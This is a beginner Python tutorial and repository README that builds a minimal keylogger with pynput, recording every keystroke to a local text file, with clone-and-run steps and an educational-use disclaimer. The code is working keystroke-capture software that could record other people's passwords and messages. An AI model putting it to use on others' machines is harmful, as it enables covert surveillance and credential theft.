This is very basic project and you don't need to be even competent with python to successful build it, let's get started!!
To build a keylogger we need a way to keep track of every key pressed on a keyboard, there are couple of libaries in python for doing that ranging from
Take a time to look at them and pick the one fits you well, in this project we are going to use pynput;
pip install pynput
To track key strokes we have to implement a listener function and then attach it to our pynput listener, here how;
>>> from pynput import keyboard >>> def on_press(key): ... print(key) >>> listener = keyboard.Listener(on_press=on_press) >>> listener.start() >>> h'h' v'v' Key.ctrl 'v' Key.cmd Key.ctrl Key.shift
As we can see in just few lines of code we were able to implement a keylogger that track a pressed key and output it in our repl terminal
So what we have to do now is to open a new file for storing our keystrokes instead of printing them on the repl, Here how;
>>> from pynput import keyboard >>> def on_press(key): ... with open('keylogs.txt', 'a') as logs: ... logs.write(str(key)) ... >>> listener = keyboard.Listener(on_press=on_press) >>> listener.start() >>> hellodam testing
Now If you go and take a look at your current directory and you will see a new file named keylogs.txt with new tracked keys in it just as shown below;
❯ cat keylogs.txt Key.cmd'h''e''l''l''o''d''a''m'Key.space't''e''s''t''i''n''g'Key.cmdKey.cmdKey.ctrlKey.alt't''c''a''t'Key.space'k''e''y'Key.tabKey.enter%
Here is how our formatted code can look like;
from pynput import keyboard class KeyLogger(): def __init__(self, filename: str = "keylogs.txt") -> None: self.filename = filename @staticmethod def get_char(key): try: return key.char except AttributeError: return str(key) def on_press(self, key): print(key) with open(self.filename, 'a') as logs: logs.write(self.get_char(key)) def main(self): listener = keyboard.Listener( on_press=self.on_press, ) listener.start() if __name__ == '__main__': logger = KeyLogger() logger.main() input()
Congrats you just learned how to make a keylogger in Python now shout to your felllow peers
A minimal keylogger that accurately track keyboard strokes made in Python
Getting started !
Clone | Download the Repository => then open a terminal | command prompt to your project, and then run the app.py script and your keylogger should up spying on every keystroke you will ever write
git clone https://github.com/Kalebu/python-keylogger cd python-keylogger python app.py
A keylogger will automatically open a new file on your project directory and then start storing yours keys, to change the filename, or directory to store the logs, open the script and then adjust the filename at the bottom of script just as illustrated below;
if __name__ == '__main__' logger = KeyLogger(filename="path-to-logs-file.txt') logger.main() input()
For Education purpose only !!!
The script itself tells, this script is only…